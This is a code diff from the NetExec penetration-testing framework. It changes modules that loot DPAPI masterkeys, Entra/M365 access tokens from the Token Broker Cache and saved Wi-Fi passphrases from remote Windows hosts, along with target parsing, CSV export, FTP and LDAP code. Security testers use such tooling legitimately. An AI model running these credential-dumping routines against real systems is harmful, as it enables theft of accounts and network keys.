context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success("Looting Token Broker Cache access tokens")
|
||||
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
|
||||
|
||||
def token_callback(token):
|
||||
for attrib in token.attribs:
|
||||
if attrib["Key"].decode() == "WTRes_Token":
|
||||
# Extract every access token
|
||||
for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
|
||||
try:
|
||||
decoded_token = json.loads(urlsafe_b64decode(access_token.split(".")[1] + "=="))
|
||||
except ValueError:
|
||||
context.log.fail(f"[{token.winuser}] Could not decode the token payload (JWE or malformed): {access_token}")
|
||||
continue
|
||||
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
|
||||
if "preferred_username" in decoded_token:
|
||||
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
|
||||
connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", context.log)
|
||||
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
|
||||
|
||||
try:
|
||||
triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
|
||||
triage.triage_wam()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot access tokens: {e}")
|
||||
+35
-10
@@ -1,29 +1,54 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.wifi import WifiTriage
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "wifi"
|
||||
description = "Get key of all wireless interfaces"
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
|
||||
|
||||
if len(masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
context.log.success("Looting Wifi interfaces")
|
||||
context.log.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting Wifi interfaces")
|
||||
|
||||
try:
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
wifi_triage = WifiTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=masterkeys)
|
||||
wifi_triage = WifiTriage(target=target, conn=conn, masterkeys=masterkeys)
|
||||
wifi_creds = wifi_triage.triage_wifi()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error while looting wifi: {e}")
|
||||
@@ -32,16 +57,16 @@ class NXCModule:
|
||||
context.log.highlight(f"[OPEN] {wifi_cred.ssid}")
|
||||
elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]:
|
||||
try:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log)
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}")
|
||||
except Exception:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
||||
elif wifi_cred.auth.upper() in ["WPA", "WPA2"]:
|
||||
try:
|
||||
if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log)
|
||||
if self.eap_username is not None and self.eap_password is not None:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
|
||||
else:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log)
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
||||
except Exception:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
||||
else:
|
||||
context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
||||
+27
-16
@@ -1,14 +1,15 @@
|
||||
# PYTHON_ARGCOMPLETE_OK
|
||||
import contextlib
|
||||
import sys
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import display_modules
|
||||
from nxc.helpers.misc import identify_target_file, display_modules
|
||||
from nxc.parsers.ip import parse_targets
|
||||
from nxc.parsers.nmap import parse_nmap_xml
|
||||
from nxc.parsers.nessus import parse_nessus_file
|
||||
from nxc.cli import gen_cli_args
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
|
||||
from nxc.first_run import first_run_setup
|
||||
from nxc.parsers.ip import process_targets
|
||||
from nxc.paths import NXC_PATH, WORKSPACE_DIR
|
||||
from nxc.console import nxc_console
|
||||
from nxc.logger import nxc_logger
|
||||
@@ -20,6 +21,7 @@ from nxc.helpers import powershell
|
||||
import signal
|
||||
import shutil
|
||||
import os
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from sys import exit
|
||||
from rich.progress import Progress
|
||||
@@ -104,18 +106,12 @@ def main():
|
||||
nxc_logger.fail("Password is required, even if a key file is used - if no passphrase for key, use `-p ''`")
|
||||
exit(1)
|
||||
|
||||
if args.protocol == "ldap" and args.schannel and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
|
||||
nxc_logger.fail("--schannel requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
|
||||
exit(1)
|
||||
|
||||
if args.protocol == "smb" and args.unpac and not (args.pfx_cert or args.pfx_base64 or args.pem_cert):
|
||||
nxc_logger.fail("--unpac requires a certificate: --pfx-cert, --pfx-base64, or --pem-cert with --pem-key")
|
||||
exit(1)
|
||||
|
||||
if args.use_kcache and not os.environ.get("KRB5CCNAME"):
|
||||
nxc_logger.error("KRB5CCNAME environment variable is not set")
|
||||
exit(1)
|
||||
|
||||
targets = []
|
||||
|
||||
if hasattr(args, "cred_id") and args.cred_id:
|
||||
for cred_id in args.cred_id:
|
||||
if "-" in str(cred_id):
|
||||
@@ -128,11 +124,27 @@ def main():
|
||||
nxc_logger.error(f"Error parsing database credential id: {e}")
|
||||
exit(1)
|
||||
|
||||
targets = process_targets(args)
|
||||
if hasattr(args, "target") and args.target:
|
||||
for target in args.target:
|
||||
try:
|
||||
if exists(target) and os.path.isfile(target):
|
||||
target_file_type = identify_target_file(target)
|
||||
if target_file_type == "nmap":
|
||||
targets.extend(parse_nmap_xml(target, args.protocol))
|
||||
elif target_file_type == "nessus":
|
||||
targets.extend(parse_nessus_file(target, args.protocol))
|
||||
else:
|
||||
with open(target) as target_file:
|
||||
for target_entry in target_file:
|
||||
targets.extend(parse_targets(target_entry.strip()))
|
||||
else:
|
||||
targets.extend(parse_targets(target))
|
||||
except Exception as e:
|
||||
nxc_logger.fail(f"Failed to parse target '{target}': {e}")
|
||||
|
||||
# The following is a quick hack for the powershell obfuscation functionality, I know this is yucky
|
||||
if hasattr(args, "clear_obfscripts") and args.clear_obfscripts:
|
||||
obfuscated_dir = path_join(NXC_PATH, "obfuscated_scripts")
|
||||
obfuscated_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
|
||||
shutil.rmtree(obfuscated_dir)
|
||||
os.mkdir(obfuscated_dir)
|
||||
nxc_logger.success("Cleared cached obfuscated PowerShell scripts")
|
||||
@@ -164,8 +176,7 @@ def main():
|
||||
|
||||
if args.module or args.list_modules is not None:
|
||||
loader = ModuleLoader(args, db, nxc_logger)
|
||||
# -L lists every module, -M only needs the requested ones
|
||||
modules = loader.list_modules(None if args.list_modules is not None else args.module)
|
||||
modules = loader.list_modules()
|
||||
|
||||
if args.list_modules is not None:
|
||||
low_privilege_modules = {m: props for m, props in modules.items() if args.protocol in props["supported_protocols"] and not props["requires_admin"]}
|
||||
@@ -206,7 +217,7 @@ def main():
|
||||
proto_module_paths.append(modules[m]["path"])
|
||||
protocol_object.module_paths = proto_module_paths
|
||||
|
||||
if args.protocol == "rdp" and (args.execute or args.ps_execute):
|
||||
if args.protocol == "rdp" and args.execute:
|
||||
ans = input(highlight("[!] Executing remote command via RDP will disconnect the Windows session (not log off) if the targeted user is connected via RDP, do you want to continue ? [Y/n] ", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
|
||||
+29
-14
@@ -40,17 +40,6 @@ def write_csv(filename, headers, entries):
|
||||
csv_file.writerow(entry)
|
||||
|
||||
|
||||
def host_csv_headers(hosts_table, mode="simple"):
|
||||
"""Return the CSV header for a hosts export, taken from the protocol's own HostsTable.
|
||||
|
||||
"simple" keeps the first 8 columns, the historical width of the SMB export, "detailed" returns them all.
|
||||
"""
|
||||
columns = tuple(col.name for col in hosts_table.columns)
|
||||
if mode == "detailed":
|
||||
return columns
|
||||
return columns[:8]
|
||||
|
||||
|
||||
def write_list(filename, entries):
|
||||
"""Writes a file with a simple list"""
|
||||
with open(os.path.expanduser(filename), "w") as export_file:
|
||||
@@ -180,13 +169,39 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
print("[-] invalid arguments, export hosts <simple|detailed|signing> <filename>")
|
||||
return
|
||||
|
||||
csv_header_simple = (
|
||||
"id",
|
||||
"ip",
|
||||
"hostname",
|
||||
"domain",
|
||||
"os",
|
||||
"dc",
|
||||
"smbv1",
|
||||
"signing",
|
||||
)
|
||||
csv_header_detailed = (
|
||||
"id",
|
||||
"ip",
|
||||
"hostname",
|
||||
"domain",
|
||||
"os",
|
||||
"dc",
|
||||
"smbv1",
|
||||
"signing",
|
||||
"spooler",
|
||||
"zerologon",
|
||||
"petitpotam",
|
||||
)
|
||||
filename = line[2]
|
||||
|
||||
if line[1].lower() == "simple":
|
||||
csv_header = host_csv_headers(self.db.HostsTable, "simple")
|
||||
write_csv(filename, csv_header, [host[: len(csv_header)] for host in self.db.get_hosts()])
|
||||
hosts = self.db.get_hosts()
|
||||
simple_hosts = [host[:8] for host in hosts]
|
||||
write_csv(filename, csv_header_simple, simple_hosts)
|
||||
# TODO: maybe add more detail like who is an admin on it, shares discovered, etc
|
||||
elif line[1].lower() == "detailed":
|
||||
write_csv(filename, host_csv_headers(self.db.HostsTable, "detailed"), self.db.get_hosts())
|
||||
hosts = self.db.get_hosts()
|
||||
write_csv(filename, csv_header_detailed, hosts)
|
||||
elif line[1].lower() == "signing":
|
||||
hosts = self.db.get_hosts("signing")
|
||||
signing_hosts = [host[1] for host in hosts]
|
||||
|
||||
+6
-119
@@ -1,135 +1,22 @@
|
||||
import netifaces
|
||||
from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import identify_target_file
|
||||
from nxc.config import exclude_hosts, skip_self
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.nmap import parse_nmap_xml
|
||||
from nxc.parsers.nessus import parse_nessus_file
|
||||
|
||||
from os.path import exists, isfile
|
||||
from pathlib import Path
|
||||
from sys import exit
|
||||
|
||||
|
||||
def process_targets(args):
|
||||
targets = []
|
||||
if hasattr(args, "target") and args.target:
|
||||
for target in args.target:
|
||||
try:
|
||||
if exists(target) and isfile(target):
|
||||
target_file_type = identify_target_file(target)
|
||||
if target_file_type == "nmap":
|
||||
targets.extend(parse_nmap_xml(target, args.protocol))
|
||||
elif target_file_type == "nessus":
|
||||
targets.extend(parse_nessus_file(target, args.protocol))
|
||||
else:
|
||||
with open(target) as target_file:
|
||||
for target_entry in target_file:
|
||||
targets.extend(parse_targets(target_entry.strip()))
|
||||
else:
|
||||
targets.extend(parse_targets(target))
|
||||
except Exception as e:
|
||||
nxc_logger.fail(f"Failed to parse target '{target}': {e}")
|
||||
|
||||
# Handle exclusions from config
|
||||
excluded_ips = set()
|
||||
|
||||
# Process exclude_hosts from config. Important, we are reusing the parse_targets because it
|
||||
# already provides the code necessary for parsing all provided inputs
|
||||
if args.exclude_hosts is not None:
|
||||
exclude_hosts.extend(args.exclude_hosts)
|
||||
|
||||
for excluded in exclude_hosts:
|
||||
if Path(excluded).is_file():
|
||||
with open(excluded) as excluded_file:
|
||||
for line in excluded_file.readlines():
|
||||
excluded_ips.update(parse_targets(line.strip()))
|
||||
else:
|
||||
excluded_ips.update(parse_targets(excluded))
|
||||
|
||||
# Process skip_self from config and cli argument
|
||||
if skip_self or args.skip_self:
|
||||
local_ips = get_local_ips()
|
||||
if local_ips:
|
||||
nxc_logger.debug(f"Local IP addresses detected: {local_ips}")
|
||||
excluded_ips.update(local_ips)
|
||||
else:
|
||||
nxc_logger.error("Could not determine local IP address for skip_self")
|
||||
|
||||
# Validate that all objects to be excluded are valid IP addresses
|
||||
try:
|
||||
for ip in excluded_ips:
|
||||
ip_address(ip)
|
||||
except ValueError as e:
|
||||
nxc_logger.error(f"Invalid IP address in excluded hosts: {e}")
|
||||
exit(1)
|
||||
|
||||
# Filter out excluded targets
|
||||
if excluded_ips:
|
||||
ignore_target_warning = False
|
||||
for target in targets:
|
||||
try:
|
||||
ip_address(target)
|
||||
except ValueError:
|
||||
if not ignore_target_warning:
|
||||
ans = input(highlight("[!] Target is not an IP address, but exclusion list detected. Hostnames will not be filtered. Do you want to continue? [Y/n] ", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
ignore_target_warning = True
|
||||
|
||||
original_count = len(targets)
|
||||
excluded_targets = [target for target in targets if target in excluded_ips]
|
||||
targets = [target for target in targets if target not in excluded_ips]
|
||||
nxc_logger.info(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}")
|
||||
return targets
|
||||
|
||||
|
||||
def get_local_ips():
|
||||
"""Get the local IP address using netifaces library."""
|
||||
interfaces = netifaces.interfaces()
|
||||
ips = set()
|
||||
|
||||
for interface in interfaces:
|
||||
# Skip loopback interface
|
||||
if interface == "lo" or interface.startswith("lo"):
|
||||
continue
|
||||
|
||||
addresses = netifaces.ifaddresses(interface)
|
||||
if netifaces.AF_INET in addresses:
|
||||
for addr_info in addresses[netifaces.AF_INET]:
|
||||
ip = addr_info.get("addr")
|
||||
# Skip localhost and link-local addresses
|
||||
if ip and not ip.startswith("127.") and not ip.startswith("169.254."):
|
||||
ips.add(ip)
|
||||
if netifaces.AF_INET6 in addresses:
|
||||
for addr_info in addresses[netifaces.AF_INET6]:
|
||||
ip = addr_info.get("addr")
|
||||
# Skip localhost and link-local addresses
|
||||
if ip and not ip.startswith("::1") and not ip.startswith("fe80::"):
|
||||
ips.add(ip)
|
||||
return ips
|
||||
|
||||
|
||||
def parse_targets(target):
|
||||
try:
|
||||
if "-" in target:
|
||||
start_ip, end_ip = target.split("-")
|
||||
start = ip_address(start_ip)
|
||||
try:
|
||||
end = ip_address(end_ip)
|
||||
end_ip = ip_address(end_ip)
|
||||
except ValueError:
|
||||
sep = ":" if start.version == 6 else "."
|
||||
prefix = start_ip.split(sep)[:-1]
|
||||
prefix.append(end_ip)
|
||||
end = ip_address(sep.join(prefix))
|
||||
first_three_octets = start_ip.split(".")[:-1]
|
||||
first_three_octets.append(end_ip)
|
||||
end_ip = ip_address(".".join(first_three_octets))
|
||||
|
||||
for ip_range in summarize_address_range(start, end):
|
||||
for ip_range in summarize_address_range(ip_address(start_ip), end_ip):
|
||||
for ip in ip_range:
|
||||
yield str(ip)
|
||||
else:
|
||||
ip = ip_interface(target).ip
|
||||
if ip.version == 6 and ip.is_link_local:
|
||||
if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local:
|
||||
yield str(target)
|
||||
else:
|
||||
for ip in ip_network(target, strict=False):
|
||||
|
||||
@@ -7,12 +7,6 @@ protocol_dict = {
|
||||
"ssh": {"ports": [22], "services": ["ssh"]},
|
||||
"winrm": {"ports": [5986, 5985], "services": ["www", "https?"]},
|
||||
"http": {"ports": [80, 443, 8443, 8008, 8080, 8081], "services": ["www", "https?"]},
|
||||
"rdp": {"ports": [3389], "services": ["msrdp", "rdp", "ms-wbt-server"]},
|
||||
"vnc": {"ports": [5900, 5901, 5902, 5903], "services": ["vnc", "rfb"]},
|
||||
"ftp": {"ports": [21], "services": ["ftp"]},
|
||||
"ldap": {"ports": [389, 636], "services": ["ldap"]},
|
||||
"wmi": {"ports": [135], "services": ["epmap"]},
|
||||
"nfs": {"ports": [2049], "services": ["rpc-nfs", "nfs"]},
|
||||
}
|
||||
|
||||
|
||||
@@ -29,11 +23,12 @@ def parse_nessus_file(nessus_file, protocol):
|
||||
if ip in targets:
|
||||
return True
|
||||
|
||||
# Nessus stores the port as a string, the lookup table uses ints
|
||||
port = int(item["ReportItem"]["port"])
|
||||
port = item["ReportItem"]["port"]
|
||||
svc_name = item["ReportItem"]["svc_name"]
|
||||
|
||||
if port in protocol_dict[protocol]["ports"] or svc_name in protocol_dict[protocol]["services"]:
|
||||
if port in protocol_dict[protocol]["ports"]:
|
||||
targets.append(ip)
|
||||
if svc_name in protocol_dict[protocol]["services"]:
|
||||
targets.append(ip)
|
||||
|
||||
return True
|
||||
|
||||
+10
-38
@@ -1,16 +1,15 @@
|
||||
from io import BytesIO
|
||||
import os
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.logger import NXCAdapter
|
||||
from ftplib import FTP, error_perm, error_temp
|
||||
from ftplib import FTP, error_perm
|
||||
|
||||
|
||||
class ftp(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.protocol = "FTP"
|
||||
self.welcome_banner = ""
|
||||
self.remote_version = None
|
||||
|
||||
super().__init__(args, db, host)
|
||||
|
||||
@@ -27,12 +26,11 @@ class ftp(connection):
|
||||
def enum_host_info(self):
|
||||
welcome = self.conn.getwelcome()
|
||||
self.logger.debug(f"Welcome result: {welcome}")
|
||||
for line in welcome.splitlines():
|
||||
self.welcome_banner += line.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.welcome_banner}")
|
||||
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.remote_version}")
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"Banner: {self.welcome_banner}")
|
||||
self.logger.display(f"Banner: {self.remote_version}")
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.conn = FTP()
|
||||
@@ -52,12 +50,13 @@ class ftp(connection):
|
||||
self.logger.debug(f"Response: {resp}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
|
||||
self.conn.close()
|
||||
return False
|
||||
|
||||
# 230 is "User logged in, proceed" response, ftplib raises an exception on failed login
|
||||
if "230" in resp:
|
||||
self.logger.debug(f"Host: {self.host} Port: {self.port}")
|
||||
self.db.add_host(self.host, self.port, self.welcome_banner)
|
||||
self.db.add_host(self.host, self.port, self.remote_version)
|
||||
|
||||
cred_id = self.db.add_credential(username, password)
|
||||
|
||||
@@ -102,9 +101,8 @@ class ftp(connection):
|
||||
self.put_file(self.args.put[0], self.args.put[1])
|
||||
|
||||
if not self.args.continue_on_success:
|
||||
self.conn.close()
|
||||
return True
|
||||
|
||||
def disconnect(self):
|
||||
self.conn.close()
|
||||
|
||||
def list_directory_full(self):
|
||||
@@ -117,10 +115,6 @@ class ftp(connection):
|
||||
self.logger.fail(f"Failed to list directory. Response: ({error_message})")
|
||||
self.conn.close()
|
||||
return False
|
||||
except error_temp as e:
|
||||
self.logger.fail(e)
|
||||
self.conn.close()
|
||||
return False
|
||||
return files
|
||||
|
||||
def get_file(self, filename):
|
||||
@@ -131,6 +125,8 @@ class ftp(connection):
|
||||
if self.conn.encoding == "utf-8":
|
||||
# Switch the connection to binary
|
||||
self.conn.sendcmd("TYPE I")
|
||||
# Check if the file exists
|
||||
self.conn.size(filename)
|
||||
# Attempt to download the file
|
||||
with open(downloaded_file, "wb") as f:
|
||||
self.conn.retrbinary(f"RETR {filename}", f.write)
|
||||
@@ -165,30 +161,6 @@ class ftp(connection):
|
||||
else:
|
||||
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
|
||||
|
||||
def cat(self):
|
||||
# Extract the filename from the path
|
||||
remote_file = self.args.cat
|
||||
try:
|
||||
# Check if the current connection is ASCII (ASCII does not support .size())
|
||||
if self.conn.encoding == "utf-8":
|
||||
# Switch the connection to binary
|
||||
self.conn.sendcmd("TYPE I")
|
||||
# Attempt to get the file content
|
||||
buf = BytesIO()
|
||||
self.conn.retrbinary(f"RETR {remote_file}", buf.write)
|
||||
except error_perm as error_message:
|
||||
self.logger.fail(f"Failed to get file content. Response: ({error_message})")
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
self.logger.fail("Failed to get file content. Response: (No such file or directory.)")
|
||||
return False
|
||||
|
||||
try:
|
||||
for line in buf.getvalue().decode().splitlines():
|
||||
self.logger.highlight(line)
|
||||
except UnicodeDecodeError as e:
|
||||
self.logger.fail(f"File is not in UTF-8: {e}")
|
||||
|
||||
def supported_commands(self):
|
||||
raw_supported_commands = self.conn.sendcmd("HELP")
|
||||
supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist]
|
||||
|
||||
@@ -7,7 +7,6 @@ def proto_args(parser, parents):
|
||||
|
||||
cgroup = ftp_parser.add_argument_group("File Operations")
|
||||
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory")
|
||||
cgroup.add_argument("--cat", metavar="FILE", help="Display the contents of a file. Example: --cat /path/to/file")
|
||||
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
|
||||
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
|
||||
return parser
|
||||
+69
-144
@@ -12,6 +12,7 @@ from re import sub, IGNORECASE
|
||||
from zipfile import ZipFile
|
||||
from termcolor import colored
|
||||
from dns import resolver
|
||||
from dateutil.relativedelta import relativedelta as rd
|
||||
|
||||
from OpenSSL.SSL import SysCallError
|
||||
from bloodhound.ad.authentication import ADAuthentication
|
||||
@@ -40,8 +41,7 @@ from impacket.ntlm import getNTLMSSPType1
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.pfx import certificate_options
|
||||
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument, sanitize_dns
|
||||
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
@@ -65,9 +65,6 @@ ldap_error_status = {
|
||||
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
|
||||
}
|
||||
|
||||
# LDAP authenticationChoice sent to the DC, as displayed to the operator
|
||||
auth_methods = {"sasl": "NTLM", "simple": "SIMPLE bind", "external": "Schannel"}
|
||||
|
||||
|
||||
class ldap(connection):
|
||||
def __init__(self, args, db, host):
|
||||
@@ -136,20 +133,25 @@ class ldap(connection):
|
||||
return True
|
||||
|
||||
def get_ldap_username(self):
|
||||
try:
|
||||
# impacket returns the raw RFC 4532 identity, "u:DOMAIN\user" on a DC
|
||||
return self.ldap_connection.whoami().split("\\")[-1]
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
self.logger.debug(f"LDAP whoami request failed: {e}")
|
||||
return ""
|
||||
extended_request = ldapasn1_impacket.ExtendedRequest()
|
||||
extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami
|
||||
|
||||
response = self.ldap_connection.sendReceive(extended_request)
|
||||
for message in response:
|
||||
search_result = message["protocolOp"].getComponent()
|
||||
if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"):
|
||||
response_value = search_result["responseValue"]
|
||||
if response_value.hasValue():
|
||||
value = response_value.asOctets().decode(response_value.encoding)[2:]
|
||||
return value.split("\\")[1]
|
||||
return ""
|
||||
|
||||
def check_ldap_signing(self):
|
||||
self.signing_required = None
|
||||
self.signing_required = False
|
||||
ldap_url = f"ldap://{self.target}"
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout)
|
||||
ldap_connection.login(domain=self.domain)
|
||||
self.signing_required = False
|
||||
self.logger.debug(f"LDAP signing is not enforced on {self.host}")
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
@@ -157,8 +159,6 @@ class ldap(connection):
|
||||
self.signing_required = True
|
||||
else:
|
||||
self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}")
|
||||
except OSError as e:
|
||||
self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}")
|
||||
|
||||
def check_ldaps_cbt(self):
|
||||
self.cbt_status = "Never"
|
||||
@@ -185,7 +185,6 @@ class ldap(connection):
|
||||
self.cbt_status = "When Supported" # CBT is When Supported
|
||||
else:
|
||||
self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}")
|
||||
self.cbt_status = "Unknown"
|
||||
except SysCallError as e:
|
||||
self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}")
|
||||
if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]:
|
||||
@@ -223,14 +222,14 @@ class ldap(connection):
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to enumerate host info for {self.host}, error: {e!s}")
|
||||
|
||||
self.target = sanitize_dns(target or self.host, self.logger)
|
||||
self.targetDomain = sanitize_dns(target_domain or (target.split(".", 1)[1] if "." in target else target), self.logger)
|
||||
self.baseDN = base_dn
|
||||
self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
self.target = target
|
||||
self.targetDomain = target_domain
|
||||
self.baseDN = base_dn
|
||||
|
||||
# Parse hostname and remoteName
|
||||
self.hostname = sanitize_dns(self.target.split(".", 1)[0].upper() or self.host, self.logger)
|
||||
self.remoteName = self.target if self.kerberos else self.host
|
||||
self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target
|
||||
self.remoteName = self.target
|
||||
|
||||
# Parse NTLM challenge
|
||||
ntlm_challenge = None
|
||||
@@ -284,12 +283,7 @@ class ldap(connection):
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.debug("Printing host info for LDAP")
|
||||
if self.signing_required is True:
|
||||
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"])
|
||||
elif self.signing_required is False:
|
||||
signing = colored("signing:None", host_info_colors[1], attrs=["bold"])
|
||||
else:
|
||||
signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"])
|
||||
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"])
|
||||
cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"])
|
||||
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
|
||||
|
||||
@@ -340,7 +334,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636" if self.port == 636 else "389"
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
